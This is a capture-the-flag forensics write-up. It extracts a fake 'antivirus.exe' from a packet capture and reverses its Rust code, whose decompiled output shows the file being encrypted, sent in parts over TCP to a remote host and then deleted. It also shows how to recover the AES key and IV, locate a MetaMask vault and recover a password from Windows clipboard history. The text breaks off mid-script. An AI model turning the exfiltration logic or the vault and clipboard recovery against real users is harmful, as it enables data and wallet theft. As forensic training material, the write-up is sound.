--- title: Update Required - Compfest 17 CTF 2025 Qualifier description: --- ### TL;DR ![image](https://hackmd.io/_uploads/BJlOI1_Fee.png) ### Challenge Description >"A researcher in Mondstadt’s tech division received an urgent-looking HTML file, claiming to be a critical security patch. Trusting its source, they executed antivirus.exe and moments later, a secret PDF file disappeared. > >The PDF contained a confidential override PIN tied to the Vision Distribution Network. To protect it, the researcher locked the PDF with their wallet’s seed phrase (exported from a Chrome extension), joined with an underscore (_) as the password. > >Although the wallet vault file remains on disk, the password to unlock it has since been lost. Fortunately, there’s a lead: the researcher once copied the vault password to clipboard." Attachment : - 1 [Evidence](https://drive.google.com/drive/folders/1R1psX7e04W1aJXFHK_WbNkRt5ukFXOlc?usp=sharing) - password : soalinigasusahkokxixixixi ### Initial Analysis We're given an AD1 and a pcap file. Based on the challenge description, the `secret.pdf` is erased from the disk, so let's focus on the pcap file first, the beginning of everything in this challenge. ![Screenshot 2025-08-23 221435](https://hackmd.io/_uploads/SyMxsyuYge.png) From the summary of protocol hierarchy on [wireshark](https://www.wireshark.org/) above, we could see that most of the traffic are TCP. moreover, around 91% of it accounts to HTTP (media-type data). This mean we can rest assured for the time being, as exfiltrating data from HTTP is fairly easy. ![Screenshot 2025-08-23 221505](https://hackmd.io/_uploads/Bk2qsJuKeg.png) on the pcap file, we could find a particularly interesting `GET` HTTP request to `/antivirus.exe`. If we follow the TCP/HTTP stream of that packet, we could see all of the `antivirus.exe` data being transported from `192.168.129.92`. Thus, it's safe to say that our investigation progress is aligned with the challenge description. ### Extracting the malware from TCP data As i've said before, extracting data from HTTP (TCP transport) is fairly easy. The idea is to extract `tcp.data` for every packet that's coming from `192.168.129.92` to `192.168.129.37` where packet number is after `GET /antivirus.exe` and before `HTTP 200 OK`. ##### malware_extractor.py ```python from scapy.all import rdpcap, TCP, Raw PCAP_FILE = "chall.pcap" OUTPUT_FILE = "antivirus.safe" CLIENT_IP = "192.168.129.137" SERVER_IP = "192.168.129.92" REQUEST_PATH = b"GET /antivirus.exe" def extract_exe_from_pcap(): packets = rdpcap(PCAP_FILE) collecting = False stream_data = b"" for pkt in packets: if TCP in pkt and Raw in pkt: ip_src = pkt[0][1].src ip_dst = pkt[0][1].dst payload = bytes(pkt[Raw].load) # Detect GET request if ip_src == CLIENT_IP and ip_dst == SERVER_IP and payload.startswith(REQUEST_PATH): print("[+] Found GET request for antivirus.exe") collecting = True continue # Collect server response after GET if collecting and ip_src == SERVER_IP and ip_dst == CLIENT_IP: stream_data += payload # Now parse the HTTP response headers and cut them off header_end = stream_data.find(b"\r\n\r\n") if header_end == -1: print("[-] No HTTP headers found in stream!") return headers = stream_data[:header_end].decode(errors="ignore") body = stream_data[header_end + 4 :] if "200 OK" not in headers: print("[-] No HTTP 200 OK response, maybe wrong filter?") return with open(OUTPUT_FILE, "wb") as f: f.write(body) print(f"[+] Extracted EXE written to {OUTPUT_FILE}") if __name__ == "__main__": extract_exe_from_pcap() ``` Now we can move onto the next step. ### Reversing the rust-based encryptor malware Before dissasembling the binary and actually doing the reverse, i tried to `strings` the .exe and find interesting strings, `secret.pdf`, `aes 192`, and `192.168.129.92`. This'll be helpful when finding `XREF` location in IDA. #### Dissasmbling and Reversing phase As i mentioned, the strings we got before is very useful to quickly understand what the malware does. After opening IDA, i searched for "secret.pdf" and found the XREF which then brings me to our `main()` function. >Double clicking the `XREF` linking will bring us to the reference > ![image](https://hackmd.io/_uploads/rJhBQZ_Fge.png) Below is `main()` pseudocode i got from IDA. ```rust void __cdecl ransom::main() { alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> *v0; // rdx __alloc::vec::Vec<u8,alloc::alloc::Global>_ *v1; // rax _str *v2; // rdx alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> v3; // [rsp+40h] [rbp-38h] BYREF const char *v4; // [rsp+58h] [rbp-20h] __int64 v5; // [rsp+60h] [rbp-18h] v4 = filepath; v5 = 10; ransom::encrypt_file_and_split(&v3, (_str *)filepath); v1 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref((__alloc::vec::Vec<u8,alloc::alloc::Global>_ *)&v3, v0); ransom::send_parts(v1, v2, (u16)port); ransom::destroy_original((_str *)filepath); core::ptr::drop_in_place<alloc::vec::Vec<alloc::vec::Vec<u8>>>(&v3); } ``` Yuck, rust. It's actually cumbersome (and tedious) to fully understand this rust binary, but from the high-level code above we can assume that all the malware does are these: 1. encrypting the file 2. splitting them onto parts 3. sending those enc parts to somewhere 4. destroying the original file. Also, if we try to folow the `filepath`, it links to data 'secret.pdf'. now it's all starting to make sense doesn't it? ![image](https://hackmd.io/_uploads/BJovrb_tll.png) #### Reversing encryption (encrypt_file_and_split) ```rust alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> *__cdecl ransom::encrypt_file_and_split( alloc::vec::Vec<alloc::vec::Vec<u8,alloc::alloc::Global>,alloc::alloc::Global> *__return_ptr retstr, _str *filepath) { _str *v2; // r8 core::result::Result<std::fs::File,std::io::error::Error> *v3; // rax _str *v4; // rdx core::result::Result<usize,std::io::error::Error> *v5; // rax _str *v6; // rdx alloc::vec::Vec<u8,alloc::alloc::Global> *v7; // rdx __u8_ *v8; // rax __int64 v9; // rdx __u8_ *v10; // rax __u8_ *v11; // rax __u8_ *v12; // rax alloc::vec::Vec<u8,alloc::alloc::Global> *v14; // [rsp+30h] [rbp-768h] usize v15; // [rsp+78h] [rbp-720h] _str *path; // [rsp+D8h] [rbp-6C0h] __u8_ v20; // [rsp+E0h] [rbp-6B8h] BYREF __int128 v21; // [rsp+F0h] [rbp-6A8h] __u8__16___u8__16_) v22; // [rsp+100h] [rbp-698h] BYREF std::fs::File v23; // [rsp+120h] [rbp-678h] BYREF alloc::vec::Vec<u8,alloc::alloc::Global> v24; // [rsp+128h] [rbp-670h] BYREF _BYTE v25[720]; // [rsp+140h] [rbp-658h] BYREF core::result::Result<block_modes::cbc::Cbc<aes::autodetect::Aes128,block_padding::Pkcs7>,block_modes::errors::InvalidKeyIvLength> v26; // [rsp+410h] [rbp-388h] BYREF alloc::vec::Vec<u8,alloc::alloc::Global> v27; // [rsp+6F0h] [rbp-A8h] BYREF alloc::vec::Vec<u8,alloc::alloc::Global> (*v28)[3]; // [rsp+708h] [rbp-90h] alloc::vec::Vec<u8,alloc::alloc::Global> v29; // [rsp+710h] [rbp-88h] BYREF alloc::vec::Vec<u8,alloc::alloc::Global> v30; // [rsp+728h] [rbp-70h] BYREF alloc::vec::Vec<u8,alloc::alloc::Global> v31; // [rsp+740h] [rbp-58h] BYREF _str *v32; // [rsp+758h] [rbp-40h] _str *v33; // [rsp+760h] [rbp-38h] usize v34; // [rsp+778h] [rbp-20h] char v35; // [rsp+787h] [rbp-11h] BYREF path = v2; v32 = filepath; v33 = v2; ransom::generate_key_iv(&v22); v20 = *(__u8_ *)v22.__0; v21 = *(_OWORD *)v22.__1; v3 = std::fs::File::open((core::result::Result<std::fs::File,std::io::error::Error> *)filepath, path); v23.inner.handle.__0.handle = core::result::Result<T,E>::expect(v3, v4).inner.handle.__0.handle; alloc::vec::Vec<T>::new(&v24); v5 = (core::result::Result<usize,std::io::error::Error> *)<std::fs::File as std::io::Read>::read_to_end(&v23, &v24); core::result::Result<T,E>::expect(v5, v6); block_modes::traits::BlockMode::new_from_slices(&v26, &v20, (__u8_ *)0x10); if ( (v26.gap0[0] & 1) != 0 ) core::result::unwrap_failed( (unsigned int)aCalledResultUn, 43, (unsigned int)&v35, (unsigned int)&block_modes::errors::InvalidKeyIvLength_as_core::fmt::Debug_::_vtable_, (__int64)&off_7FF6A1962038); memcpy(v25, &v26.gap0[16], sizeof(v25)); v8 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref((__u8_ *)&v24, v7); block_modes::traits::BlockMode::encrypt_vec(&v27, v25, v8, v9, 16); v15 = alloc::vec::Vec<T,A>::len(&v27) / 3; v34 = v15; v28 = (alloc::vec::Vec<u8,alloc::alloc::Global> (*)[3])alloc::alloc::exchange_malloc(0x48u, 8u); v10 = <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index( (__u8_ *)&v27, (alloc::vec::Vec<u8,alloc::alloc::Global> *)v15, (core::ops::range::RangeTo<usize>)&index); alloc::slice::<impl [T]>::to_vec(&v29, v10); if ( !is_mul_ok(2u, v15) ) core::panicking::panic_const::panic_const_mul_overflow(&off_7FF6A1962068, (2 * (unsigned __int128)v15) >> 64); v11 = <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index( (__u8_ *)&v27, (alloc::vec::Vec<u8,alloc::alloc::Global> *)v15, (core::ops::range::Range<usize> *)(2 * v15)); alloc::slice::<impl [T]>::to_vec(&v30, v11); if ( !is_mul_ok(2u, v15) ) core::panicking::panic_const::panic_const_mul_overflow(&off_7FF6A1962098, (2 * (unsigned __int128)v15) >> 64); v12 = <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index( (__u8_ *)&v27, (alloc::vec::Vec<u8,alloc::alloc::Global> *)(2 * v15), (core::ops::range::RangeFrom<usize>)&stru_7FF6A19620B0); alloc::slice::<impl [T]>::to_vec(&v31, v12); v14 = (alloc::vec::Vec<u8,alloc::alloc::Global> *)v28; if ( ((unsigned __int8)v28 & 7) != 0 ) core::panicking::panic_misaligned_pointer_dereference( 8, (alloc::vec::Vec<u8,alloc::alloc::Global> *)v28, &off_7FF6A19620C8); if ( !v28 ) core::panicking::panic_null_pointer_dereference(&off_7FF6A19620C8); *(alloc::vec::Vec<u8,alloc::alloc::Global> *)v28 = v29; v14[1] = v30; v14[2] = v31; alloc::slice::<impl [T]>::into_vec( retstr, (alloc::boxed::Box<[alloc::vec::Vec<u8,alloc::alloc::Global>],alloc::alloc::Global> *)v28); core::ptr::drop_in_place<alloc::vec::Vec<u8>>(&v27); core::ptr::drop_in_place<alloc::vec::Vec<u8>>(&v24); core::ptr::drop_in_place<std::fs::File>(&v23); return retstr; } ``` There's just too many rustacean sh*ts haha... in this function, there are 2 interesting function calls : - `generate_key_iv` - `block_modes::traits::BlockMode::new_from_slices` ![image](https://hackmd.io/_uploads/Sy2ad-dtgg.png) ```rust ransom::generate_key_iv(&v22); v20 = *(__u8_ *)v22.__0; v21 = *(_OWORD *)v22.__1; . . . block_modes::traits::BlockMode::new_from_slices(&v26, &v20, (__u8_ *)0x10); ``` If we take a look at the explanation 'tooltip' from IDA, the malware uses `AES-128 CBC` encryption scheme. and the `BlockMode::new_from_slices` takes up 3 arguments : 1. the 'place' to store the result 2. key 3. iv Referring to the snippet, we can see that `v20` is passed as the 2nd arg of the function. But the 3rd argument somehow is unrecognizable. `(__u8_ *)0x10` doesn't mean nothing in this case. Well, since we know that the 3rd argument is the IV, and we know that (from the snippet)`generate_key_iv` return values are stored in `v20` and `v21` respectively, we can assume that `generate_key_iv` return 2 values `key` and `iv`. At this point let's just assume that `v21` is passed as the IV, since it's kind of stupid if the IV isn't used anywhere in the code. #### generate_key_iv ```rust __u8__16___u8__16_) *__cdecl ransom::generate_key_iv(__u8__16___u8__16_) *__return_ptr retstr) { usize v1; // r8 unsigned __int64 v2; // rdx __u8__16___u8__16_) *result; // rax __u8_ *slice; // [rsp+40h] [rbp-218h] digest::core_api::wrapper::CoreWrapper<digest::core_api::ct_variable::CtVariableCoreWrapper<sha2::core_api::Sha256VarCore,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,sha2::OidSha256>> self; // [rsp+58h] [rbp-200h] BYREF generic_array::GenericArray<u8,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>> v8; // [rsp+C8h] [rbp-190h] BYREF digest::core_api::wrapper::CoreWrapper<digest::core_api::ct_variable::CtVariableCoreWrapper<sha2::core_api::Sha256VarCore,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,sha2::OidSha256>> v9; // [rsp+E8h] [rbp-170h] BYREF __int64 v10; // [rsp+15Fh] [rbp-F9h] __int64 v11; // [rsp+167h] [rbp-F1h] core::result::Result<[u8_ 16],core::array::TryFromSliceError> v12; // [rsp+16Fh] [rbp-E9h] BYREF md5::Digest v13; // [rsp+180h] [rbp-D8h] BYREF _mut__u8_ v14; // [rsp+190h] [rbp-C8h] BYREF _mut__u8_ v15; // [rsp+1A0h] [rbp-B8h] const u8 *v16; // [rsp+1B0h] [rbp-A8h] const u8 *v17; // [rsp+1B8h] [rbp-A0h] __u8_ *v18; // [rsp+1C0h] [rbp-98h] unsigned __int64 v19; // [rsp+1C8h] [rbp-90h] __int64 v20; // [rsp+1D0h] [rbp-88h] __int64 v21; // [rsp+1D8h] [rbp-80h] __u8_ *v22; // [rsp+1E0h] [rbp-78h] unsigned __int64 v23; // [rsp+1E8h] [rbp-70h] __int64 v24; // [rsp+1F0h] [rbp-68h] __int64 v25; // [rsp+1F8h] [rbp-60h] __int64 v26; // [rsp+200h] [rbp-58h] __int64 v27; // [rsp+208h] [rbp-50h] __u8_ *v28; // [rsp+210h] [rbp-48h] unsigned __int64 v29; // [rsp+218h] [rbp-40h] __int64 v30; // [rsp+220h] [rbp-38h] __int64 v31; // [rsp+228h] [rbp-30h] __int64 v32; // [rsp+230h] [rbp-28h] char v33; // [rsp+23Fh] [rbp-19h] BYREF generic_array::GenericArray<u8,typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UInt<typenum::uint::UTerm,typenum::bit::B1>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>,typenum::bit::B0>> *v34; // [rsp+250h] [rbp-8h] v16 = data; v17 = &data[14]; <D as digest::digest::Digest>::new(&self); <D as digest::digest::Digest>::update(&self, (u8 (*)[13])&data[14]); <D as digest::digest::Digest>::update(&self, (u8 (*)[14])data); memcpy(&v9, &self, sizeof(v9)); <D as digest::digest::Digest>::finalize(&v8, &v9); v34 = &v8; slice = core::slice::raw::from_raw_parts((__u8_ *)&v8, (u8 *)0x20, v1); v18 = slice; v19 = v2; v20 = 16; v21 = 16; v22 = slice; v23 = v2; v26 = 0; v27 = 16; v28 = slice; v29 = v2; v30 = 16; v31 = 0; v25 = 16; v24 = 1; v32 = 16; if ( v2 < 0x10 ) core::slice::index::slice_end_index_len_fail(16, v2, &off_7FF6A1961FA8); core::array::<impl core::convert::TryFrom<&[T]> for [T; N]>::try_from(&v12, slice); if ( (v12.gap0[0] & 1) != 0 ) core::result::unwrap_failed( (unsigned int)aCalledResultUn, 43, (unsigned int)&v33, (unsigned int)&core::array::TryFromSliceError_as_core::fmt::Debug_::_vtable_, (__int64)&off_7FF6A1961FC0); v10 = *(_QWORD *)&v12.gap0[1]; v11 = *(_QWORD *)&v12.gap0[9]; md5::compute(&v13, (u8 (*)[13])&data[14]); v14 = (_mut__u8_)v13; core::slice::<impl [T]>::reverse(&v14); result = retstr; v15 = v14; *(_QWORD *)retstr->__0 = v10; *(_QWORD *)&retstr->__0[8] = v11; *(_mut__u8_ *)retstr->__1 = v15; return result; } ``` There are 2 different flow here, key generation and iv generation. ##### key generation ```rust v16 = data; v17 = &data[14]; <D as digest::digest::Digest>::new(&self); <D as digest::digest::Digest>::update(&self, (u8 (*)[13])&data[14]); <D as digest::digest::Digest>::update(&self, (u8 (*)[14])data); memcpy(&v9, &self, sizeof(v9)); <D as digest::digest::Digest>::finalize(&v8, &v9); ``` key generation starts from the snippet above. if we follow the XREF data, it will show us the string ![image](https://hackmd.io/_uploads/SkElDfdYlg.png) the string `Mondstadt4EverKleeLovesBoom` is assigned onto a 2 different variables. we assume that due to the size that exceeds 8 bytes, so it ought to store as 2 8-byte value, variable `v16` and `v17`. This string will then be hashed and assigned as the first return value of the function ```rust slice = core::slice::raw::from_raw_parts((__u8_ *)&v8, (u8 *)0x20, v1); . . core::array::<impl core::convert::TryFrom<&[T]> for [T; N]>::try_from(&v12, slice); . . v10 = *(_QWORD *)&v12.gap0[1]; v11 = *(_QWORD *)&v12.gap0[9]; . . *(_QWORD *)retstr->__0 = v10; *(_QWORD *)&retstr->__0[8] = v11 ``` ![image](https://hackmd.io/_uploads/SyPTwzdYex.png) Based on the IDA explanation 'tooltip', apparently it uses 256sha hashing algorithm. well, since we don't really know if it's true, we can use breakpoint and run the binary to check the stack value. In this case, we get `41 67 84 6E 30 A1 6F 4D 0F 85 91 8A 8E D6 74 62` as the value, so it's our key. ##### iv generation ```rust md5::compute(&v13, (u8 (*)[13])&data[14]); v14 = (_mut__u8_)v13; core::slice::<impl [T]>::reverse(&v14); v15 = v14; *(_mut__u8_ *)retstr->__1 = v15; ``` As for iv generation, it's a lot more simpler. the binary takes a half of the `Mondstadt4EverKleeLovesBoom` string, hash it using md5 and reverse the hashstring. finally, it's assgined as the 2nd return value for the function. Again, using the same method as 'key', aster using breakpoint we get `F4 E9 A1 04 31 13 D9 87 C4 2A F4 77 2C 9F 7E CD` as the value #### send_parts ```rust ransom::encrypt_file_and_split(&v3, (_str *)filepath); v1 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref((__alloc::vec::Vec<u8,alloc::alloc::Global>_ *)&v3, v0); ransom::send_parts(v1, v2, (u16)port); ``` The encrypted data `secret.pdf` then is passed as the argument of `send_parts`. ```rust // local variable allocation has failed, the output may be wrong! void __cdecl ransom::send_parts(__alloc::vec::Vec<u8,alloc::alloc::Global>_ *parts, _str *host, u16 port) { usize v3; // r9 core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>>> *v4; // rdx __u8_ *v5; // rdx alloc::string::String *v6; // rdx core::result::Result<std::net::tcp::TcpStream,std::io::error::Error> *v7; // rax _str *v8; // rdx alloc::vec::Vec<u8,alloc::alloc::Global> *v9; // rdx __u8_ *v10; // rax core::result::Result<(),std::io::error::Error> v11; // [rsp+28h] [rbp-1F0h] __u8_ *v12; // [rsp+58h] [rbp-1C0h] core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *v13; // [rsp+60h] [rbp-1B8h] core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>> *self; // [rsp+70h] [rbp-1A8h] _str x; // [rsp+78h] [rbp-1A0h] BYREF core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>>> v16; // [rsp+88h] [rbp-190h] BYREF core::iter::adapters::enumerate::Enumerate<core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>>> v17; // [rsp+A0h] [rbp-178h] BYREF core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> iter; // [rsp+B8h] [rbp-160h] BYREF usize count; // [rsp+C8h] [rbp-150h] core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *v20; // [rsp+D0h] [rbp-148h] __u8_ *v21; // [rsp+D8h] [rbp-140h] alloc::string::String v22; // [rsp+E0h] [rbp-138h] BYREF alloc::string::String v23; // [rsp+F8h] [rbp-120h] BYREF core::fmt::Arguments_0 v24; // [rsp+110h] [rbp-108h] BYREF core::fmt::rt::Argument args[2]; // [rsp+140h] [rbp-D8h] BYREF core::fmt::rt::Argument v26; // [rsp+160h] [rbp-B8h] BYREF core::fmt::rt::Argument v27; // [rsp+170h] [rbp-A8h] BYREF core::fmt::Arguments v28; // [rsp+180h] [rbp-98h] BYREF core::fmt::rt::Argument v29[1]; // [rsp+1B0h] [rbp-68h] BYREF core::fmt::rt::Argument v30; // [rsp+1C8h] [rbp-50h] BYREF usize v31; // [rsp+1D8h] [rbp-40h] BYREF std::net::tcp::TcpStream v32; // [rsp+1E0h] [rbp-38h] BYREF __alloc::vec::Vec<u8,alloc::alloc::Global>_ *v33; // [rsp+1E8h] [rbp-30h] _str *v34; // [rsp+1F0h] [rbp-28h] core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *v35; // [rsp+1F8h] [rbp-20h] __u8_ *v36; // [rsp+200h] [rbp-18h] u16 v37[44]; // [rsp+240h] [rbp+28h] BYREF x.data_ptr = (u8 *)port; x.length = v3; v33 = parts; v34 = host; self = core::slice::<impl [T]>::iter( (core::slice::iter::Iter<alloc::vec::Vec<u8,alloc::alloc::Global>> *)parts, (__alloc::vec::Vec<u8,alloc::alloc::Global>_ *)host); core::iter::traits::iterator::Iterator::enumerate(&v17, self); <I as core::iter::traits::collect::IntoIterator>::into_iter(&v16, &v17); iter = (core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)>)v16.iter; count = v16.count; while ( 1 ) { v20 = <core::iter::adapters::enumerate::Enumerate<I> as core::iter::traits::iterator::Iterator>::next(&iter, v4); v21 = v5; if ( !v5 ) break; v13 = v20; v35 = v20; v12 = v21; v36 = v21; core::fmt::rt::Argument::new_display(&v26, &x); core::fmt::rt::Argument::new_display(&v27, v37); args[0] = v26; args[1] = v27; core::fmt::Arguments::new_v1(&v24, (_str (*)[2])pieces, (core::fmt::rt::Argument (*)[2])args); alloc::fmt::format(&v23, (core::fmt::Arguments *)&v24); v22 = v23; if ( v13 == (core::option::Option<(usize,&alloc::vec::Vec<u8,alloc::alloc::Global>)> *)-1LL ) core::panicking::panic_const::panic_const_add_overflow(&off_7FF6A1962140); v31 = (usize)&v13->gap0[1]; core::fmt::rt::Argument::new_display(&v30, &v31); v29[0] = v30; core::fmt::Arguments::new_v1(&v28, (_str (*)[2])off_7FF6A1962120, (core::fmt::rt::Argument (*)[1])v29); std::io::stdio::_print(&v28); v7 = std::net::tcp::TcpStream::connect( (core::result::Result<std::net::tcp::TcpStream,std::io::error::Error> *)&v22, v6); v32.__0.inner.__0.socket.__0 = core::result::Result<T,E>::expect(v7, v8).__0.inner.__0.socket.__0; v10 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref(v12, v9); v11 = std::io::Write::write_all(&v32, v10); core::result::Result<T,E>::expect(v11, (_str *)msg); core::ptr::drop_in_place<std::net::tcp::TcpStream>(&v32); core::ptr::drop_in_place<alloc::string::String>(&v22); } } ``` > Sigh, this is too cumbersome... :moyai: I couldn't really understand whats going on in this function, but since it's trying to open a TCP connection, we can assume that it's trying to enumerate all of the encrypted data chunks and send it to a remote connection. unfortunately though, the `host` argument can't be recognized by IDA, so we ought to do some guessing. In the beginning we have 1 IP string `192.168.129.92`, we can assume this is the remote whom the malware communicates to. ### Recovering secret.pdf We already have the encryption scheme, key and iv used. All that's left is getting the encrypted data itself. We know that the malware sent the encrypted data to the remote, therefore it must've been recorded in the pcap file. #### Recovering the encrypted data ![image](https://hackmd.io/_uploads/B1o4pMdYxl.png) If you see the red rectangles, notice that there are 3 pairs of SYN and FIN packets. SYN packet means there's a new communication trying to establish a TCP connection. Also, if you see the yellow rectangles, notice there are chunks of data being sent and they all have the same pattern (size) for each TCP connection (session). Also, notice that the `ip.dst` address is `192.168.129.92`. Yes, this is the communication of when the malware sent the encrypted pdf data. Again, recovering data from TCP data is fairly easy, we only need to get packets with (`[ACK]` OR `[PSH]`) AND has tcp raw data. ##### parse_encrypted_pdf.py ```python from scapy.all import rdpcap, Raw PCAP_FILE = "chall.pcap" OUTPUT_FILE = "secret.pdf.enc" # List of packet indices to extract (0-based) TARGET_PACKETS = [2959, 2961, 2963, 2970, 2972, 2978, 2977, 2981, 2985] def extract_specific_packets(): packets = rdpcap(PCAP_FILE) data = b"" for idx in TARGET_PACKETS: pkt = packets[idx] if Raw in pkt: data += bytes(pkt[Raw].load) else: print(f"[-] Packet {idx + 1} has no Raw payload") with open(OUTPUT_FILE, "wb") as f: f.write(data) print(f"[+] Extracted data from packets {', '.join(str(p+1) for p in TARGET_PACKETS)} to {OUTPUT_FILE}") if __name__ == "__main__": extract_specific_packets() ``` #### Decrypting the secret.pdf.enc Now we've got the encrypted data, key, and iv. solving this problem is trivial ##### decrypt_pdf_enc.py ```python from Crypto.Cipher import AES ENC_FILE = "secret.pdf.enc" DEC_FILE = "secret.pdf" KEY = bytes.fromhex("41 67 84 6E 30 A1 6F 4D 0F 85 91 8A 8E D6 74 62") # 16-byte AES key IV = bytes.fromhex("F4 E9 A1 04 31 13 D9 87 C4 2A F4 77 2C 9F 7E CD") # 16-byte IV def decrypt_aes_cbc(): with open(ENC_FILE, "rb") as f: ciphertext = f.read() cipher = AES.new(KEY, AES.MODE_CBC, IV) plaintext = cipher.decrypt(ciphertext) # Remove PKCS#7 padding pad_len = plaintext[-1] plaintext = plaintext[:-pad_len] with open(DEC_FILE, "wb") as f: f.write(plaintext) print(f"[+] Decrypted file saved to {DEC_FILE}") if __name__ == "__main__": decrypt_aes_cbc() ``` ### Recovering secret.pdf password Based on the description, the `secret.pdf` password is certain wallet's seed phrase joined by "_". Also, the description stated that certain extension is used as the wallet. Ok, this means we have to get the extension 1st to understand the detail. #### Recovering Wallet's vault data In windows, chrome extenstions ares stored under `C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Extensions`. After exploring abit, we found the manifest.json for the wallet, turned out it's metamask. ![Screenshot 2025-08-23 220632](https://hackmd.io/_uploads/rkMPHXuYgg.png) Knowing this very useful. It's well known that metamask stores tha vault under `C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings` and yup, we could see it in 1 of the log file there. ![Screenshot 2025-08-23 220602](https://hackmd.io/_uploads/HJOl8QdFeg.png) ```json { "data":"iymrE4iNbMe68o5eg5q87KtRLVOqtK2cj3s0GRPgyJuGNyKInZtmLp9rAxy6tgNp5aHjumle/TlU9IHZ1A59ziZ9MRNMqlBSZNIRJuhJiFad//X125aKypNfiR797aKeTXMWhx3IjOUdloFib8a/1Utg4vDVs/09QNIuaNB1F7jaoOFbq/9TJYa4lEXuVKjN3zGF7mZ7tUc68IbpSp3gGw5o/pX3ihtteAK1UeFGzCnMhxtImTae3bEIoR8w5Ck0yuyfZdt8oO/jjUcxTXV6sgJguqxkQsWt3S4izm3VRLizfrRqpbr/vQyVFOtfL7SxylaWaRUcbw+xSrtHwLyPsxP6BIybJjuPBuuS6SV6Zfxgwz3SHvNWHxwLHZP011jeahRX0fN53Vj91X4O1cAkTXYj+5qrjSownlcZOWCWg589dInVeLAxgGi5XrTV9r6A6y3e8diQAlSkVXkIEbe5nsUf/55lc/qWD3NbMFFI7HgeITeWnCTsJ0IGOCyLhwCWHl9ZqhAsOh/FjA1AIAYXhGU/xO6V/Js47ILSHHOPGbSmvY1oJiJ61mpZZjSHEnialCpxKhrAk0aiEq2gUsh200aYRBeecznabt5+zSAdN6mr2ThUelYgTe7vaSpIGvXvItWb7r1VFpqDwYbAuJBCz+mVKZAMNojEUtudPHCSnGElrCw4r4JZPQi8Q0f8Ibpb/3SRUa/cw0PlmtyaYbEY5Xc7qikdNHMtd1QOF5tDyofaRkKzuaYCySeGOB28zSyN0BRagbAN", "iv":"XdiwaJ4SDbtDCK9zkxgJ6A==", "keyMetadata":{ "algorithm":"PBKDF2", "params":{ "iterations":600000 } }, "salt":"d0m0kTp3az079GbowRiRtAVORc3wHNLbXJ9llvFkTKo=" } ``` #### Recovering vault's password The challenge description mentions that the password was once copied to the clipboard. Interestingly (TIL), windows also store clipboard data in a storage (aside from memory or RAM). According to this [source](https://www.inversecos.com/2022/05/how-to-perform-clipboard-forensics.html), apparently we could restore clipboard data from `C:\Users\<YourUsername>\AppData\Local\ConnectedDevicesPlatform\<UserProfile>\ActivitiesCache.db` as we can see below. ![Screenshot 2025-08-23 220957](https://hackmd.io/_uploads/SkuPDQutge.png) We can then decode all of the `clipboardPayload` to find the passowrd greedily ##### decode_clipboard.py ```python import json import base64 # Paste your data here as a list of dictionaries data = [ {"content": "d2hhdCBpcyB0aGlzcw==", "formatName": "Text"}, {"content": "amlyIGJpc2Ega2VyZW4=", "formatName": "Text"}, {"content": "aG1tbQ==", "formatName": "Text"}, {"content": "bWF1IG55YXJpIHBhc3N3b3JkbnlhIHlhIGJhbmdnIA==", "formatName": "Text"}, {"content": "ZGkgY29weWFuIHNsYW5qdXRueWEgeWEgcGFzc3dvcmRueWE=", "formatName": "Text"}, {"content": "cGFzc3dvcmQ6Li4uLi4uLg0KDQpiZXJjYW5kYSBiYW5n", "formatName": "Text"}, {"content": "aW5pIHlnIGJuZXINCg0KDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ==", "formatName": "Text"}, {"content": "aW5pIHlnIGJuZXINCg0KDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ==", "formatName": "Text"}, {"content": "a29uZ3JldHNzIGRpa2l0IGxhZ2kgYmlzYSBzb2xwIG5paA==", "formatName": "Text"}, {"content": "Z2c=", "formatName": "Text"}, {"content": "Z2c=", "formatName": "Text"}, {"content": "QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnRcV2luZG93c0FwcHNc", "formatName": "Text"}, {"content": 